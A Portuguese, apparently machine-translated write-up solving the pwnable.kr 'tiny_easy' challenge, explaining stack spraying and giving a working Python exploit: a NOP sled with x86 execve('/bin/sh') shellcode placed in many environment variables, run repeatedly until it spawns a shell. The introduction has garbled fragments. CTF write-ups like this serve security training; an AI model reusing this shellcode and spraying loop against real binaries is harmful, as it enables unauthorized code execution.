Neste artigo, resolveremos a 27ª tarefa do site pwnable.kr e entenderemos o que é a pulverização Stack.Informações Organizacionais, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Solução para o trabalho tiny_easy
Clique no ícone de assinatura tyni_easy. Nos é dado o endereço e a porta para conectar via ssh.
Estamos conectados via SSH e já vemos a bandeira e o programa sem o código fonte.
Como resultado da verificação do arquivo, descobrimos que ele não tem proteção.
Faça o download do programa para o desmontador. O arquivo é muito pequeno e segue apenas algumas instruções.
No início, o programa extrai o valor da pilha no registro EAX, após o qual extrai outro no EDX e transfere o controle para esse endereço. Mas o que está localizado na pilha no início do programa? Na pilha, neste momento, tenho o mesmo argc (o número de argumentos do programa), argv (um ponteiro para uma matriz de argumentos do programa) e envp (um ponteiro para uma matriz de variáveis de ambiente).
Assim, no EDX, o endereço será colocado no primeiro elemento da matriz de argumentos do programa, ou seja, no caminho completo para o arquivo executável! Portanto, tentando executá-lo como um código, o aplicativo deve falhar. Se você verificar, então acontece.
A pulverização de pilha é um ataque que usa erros na memória do aplicativo, o que força o aplicativo a alocar memória para um grande número de objetos que contêm código malicioso. Isso aumenta a probabilidade de sucesso de uma exploração, que transfere o fluxo de execução para alguma posição interna. É importante entender que, sem uma exploração que permita alterar o fluxo de execução, esse ataque não causará nenhum dano. O ataque é baseado na previsibilidade do endereço no espaço de endereço do processo.Ao criar um processo no sistema operacional, um espaço de endereço é alocado para suas necessidades, no qual estão localizados dados do usuário, código executável e algumas informações do sistema, dependendo do sistema operacional específico. Portanto, no segmento de pilha, são armazenadas variáveis com uma classe de posicionamento automática, além de informações armazenadas toda vez que a função é chamada, por exemplo, variáveis estáticas e o endereço de retorno quando a função é chamada. No caso de pulverização em pilha, operamos em variáveis de ambiente nas quais a exploração está localizada.Dessa forma, podemos organizar o código do shell nas variáveis de ambiente da pilha. Mas faremos muitas operações nop na frente dele, pois é improvável que consigamos chegar exatamente ao endereço certo.import os
import subprocess
payload = "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
Como o programa inicia no endereço 0xff ******, usamos o endereço aleatório da pilha nesse ambiente, por exemplo, 0xffbbbbbbb.addr = "\xb0\xaf\xb5\xff"
Agora, criaremos algumas variáveis de ambiente com nosso código de shell, para que a probabilidade de chegar a ele seja maior.envs = {}
for i in range(0,100):
envs["env"+str(i)] = payload
E várias vezes rodamos o programa com nossos parâmetros.while True:
p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
p.wait()
Depois de executar o código completo, obtemos um shell.
Mais ainda ... Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.